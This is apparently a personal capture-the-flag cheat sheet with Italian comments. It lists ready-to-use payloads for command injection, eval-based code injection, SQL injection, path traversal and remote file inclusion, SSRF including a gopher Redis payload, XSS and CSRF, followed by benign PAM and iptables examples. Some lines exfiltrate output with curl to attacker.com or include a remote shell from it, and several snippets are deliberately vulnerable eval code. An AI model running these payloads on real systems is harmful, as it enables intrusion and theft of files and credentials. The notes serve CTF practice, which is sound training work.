```
#######################################################
COMMAND INJECTION
########################################################
```

```
example.com; find / -name flag.txt
ping -c 1 example.com; find / -name flag.txt  >>  ; concatena comandi
example.com && find / -name flag.txt  >>  per eseguire primo comando che ha successo
$(find / -name flag.txt)
find / -name flag.txt  >>  per sostituire output
example.com; cat /var/www/flag.txt   >> se so il path
example.com; find / -name flag.txt > /tmp/result.txt
example.com; cat $(find / -name flag.txt)  >>  scrive su file leggibile
example.com; curl http://attacker.com/$(find / -name flag.txt)  >> wget o curl
```

```
########################################################
CODE INJECTION
########################################################
```

ho: py

```
@app.route("/calculate")
def calculate():
   expr = request.args.get("expr")
   return str(eval(expr))
```

faccio:

```
/calculate?expr=_import_('os').popen('cat /flag.txt').read()
/calculate?expr=_import_('os').system('find / -name flag.txt')
```

ho: php

```
<?php
  $code = $_GET['code'];
  eval($code);
?>
```

faccio:

```
/vuln.php?code=system('find / -name flag.txt');
/vuln.php?code=echo file_get_contents('/flag.txt');
```

ho: js

```
app.get('/run', (req, res) => {
  const code = req.query.code;
  eval(code);
});
```

faccio:

```
/run?code=require('child_process').execSync('find / -name flag.txt').toString()
```

```
find / -name flag.txt 2>/dev/null
cat /home/user/flag.txt
```

```
#########################################################
SQL INJECTION
#########################################################
' UNION SELECT 1, LOAD_FILE('/flag.txt'), 3-- -  >> mysql
COPY flag_table FROM '/flag.txt';
SELECT * FROM flag_table;  >> per scrivere uìsu una tabella
' AND IF(SUBSTRING(LOAD_FILE('/flag.txt'),1,1)='F', SLEEP(5), 0)-- -  >> time based
' AND extractvalue(1, concat(0x7e, LOAD_FILE('/flag.txt')))-- -  >> error nased
' AND (SELECT SUBSTRING(LOAD_FILE('/flag.txt'),1,1)) = 'F'-- -  >>blind
Username: ' OR 1=1 -- -
Password: anything >> bypass
' UNION SELECT table_name, null FROM information_schema.tables -- -  >> elenco tabelle
' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'flag'
-- -  > elenco colonne tab flag
' UNION SELECT flag_column, null FROM flag -- -  >> estraggo flag
' UNION SELECT LOAD_FILE('/var/www/html/flag.txt'), null -- -  >> read file
' AND SUBSTRING((SELECT flag FROM flag_table), 1, 1) = 'f' -- -  >> blind sql
```

' AND IF(SUBSTRING((SELECT flag FROM flag_table),1,1)='f', SLEEP(5), 0)-- - >> time

###

FILE DISCLOSURE

###

http://target.com/index.php?page=../../../../etc/passwd

http://target.com/index.php?page=../../../../etc/passwd%00 >> aggiunta php

ho: <?php system($_GET['cmd']); ?>

faccio: http://target.com/index.php?page=http://attacker.com/shell.txt&cmd=cat /flag.txt

http://target.com/index.php?page=php://filter/convert.base64-encode/resource=config.php >> legge senza eseguire

ho: download.php?file=report.pdf

faccio: download.php?file=../../../../flag.txt

?page=../../../../home/ctf/flag.txt

?page=../../../../var/www/html/flag.txt

###

SSRF

###

/fetch.php?url=http://127.0.0.1:80/

/fetch.php?url=http://localhost:8000/

/fetch.php?url=http://0.0.0.0:5000/

/fetch.php?url=http://[::1]/

url=file:///etc/passwd

url=file:///flag.txt

gopher://127.0.0.1:6379/_%0D%0ASET%20flag%20ssrf_pwned%0D%0A

127.0.0.1

0x7f000001 hex

2130706433 int

0177.0000.0000.0001 ottale

[::1] ipv6

localhost dns

##

XSS

##

```
https://vulnerabile.com/search?q=<script>alert(1)</script>
?q=<img src=x onerror=alert(1)>
<textarea name="comment">...</textarea>
<script>alert('XSS!')</script>
document.getElementById("output").innerHTML = location.hash.substring(1);
https://target.com/page.html#<img src=x onerror=alert(1)>
```

##

CSRF

##

```
<img src="http://vulnerabile.com/delete?id=42">
```

##

PAM

##

## 🔐 Esempio 1: Autenticazione PAM da Bash con pamtester

> *pamtester* è un tool da terminale per testare l'autenticazione PAM.

### ✅ Installazione

bash

```
sudo apt install pamtester
```

### ✅ Esempio Bash

bash

```
#!/bin/bash

USER="alice"
SERVICE="login"

echo "Testing PAM login for user $USER"

pamtester $SERVICE $USER authenticate
```

Se alice è un utente valido, pamtester chiederà la password e stamperà:

```
Password:
pamtester: successfully authenticated
```

## 🔐 Esempio 2: Uso di su (che passa per PAM)

bash

```
#!/bin/bash

echo "Inserisci la password per diventare root:"
su -c "whoami"
```

Quando esegui questo script, su invocherà PAM tramite /etc/pam.d/su.

## 🔐 Esempio 3: Blocco schermo via PAM (screen locker)

Puoi creare uno script che blocca la sessione usando l’autenticazione PAM con login:

bash

```
#!/bin/bash

echo "Per continuare, autenticati:"
pamtester login "$USER" authenticate
if [ $? -eq 0 ]; then
  echo "Accesso autorizzato."
else
  echo "Accesso negato."
  exit 1
fi
```

## 🔐 Esempio 4: Loggare accessi falliti da PAM

Puoi creare un modulo PAM personalizzato in /etc/pam.d/login con una riga del tipo:

```
auth required pam_exec.so /usr/local/bin/log_pam.sh
```

E in /usr/local/bin/log_pam.sh:

```bash
#!/bin/bash
echo "$(date): Login tentato da $PAM_USER" >> /var/log/pam_custom.log
```

Non dimenticare di renderlo eseguibile:

```bash
chmod +x /usr/local/bin/log_pam.sh
```

> Il modulo pam_exec.so ti permette di *eseguire uno script shell ogni volta che PAM viene chiamato*.

## 🔐 Esempio 5: Creare un mini sistema di autenticazione in Bash

Se vuoi chiedere le credenziali e verificarle via PAM:

```bash
#!/bin/bash

read -p "Username: " user
read -s -p "Password: " pass
echo
```

```
# Salva la password in tmp file (non sicuro, solo esempio)
echo "$pass" | pamtester login "$user" authenticate

if [ $? -eq 0 ]; then
  echo "Login riuscito!"
else
  echo "Login fallito."
fi
```

###

NETFILTER

###

## 🔥 1. *Script base: firewall con iptables*

bash

```
#!/bin/bash

# Flush regole esistenti
iptables -F
iptables -X

# Politiche di default: blocca tutto
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# Consenti traffico di loopback
```

```
iptables -A INPUT -i lo -j ACCEPT

# Consenti connessioni già stabilite
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Consenti SSH (porta 22)
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# Consenti HTTP/HTTPS
iptables -A INPUT -p tcp -m multiport --dports 80,443 -j ACCEPT
...
```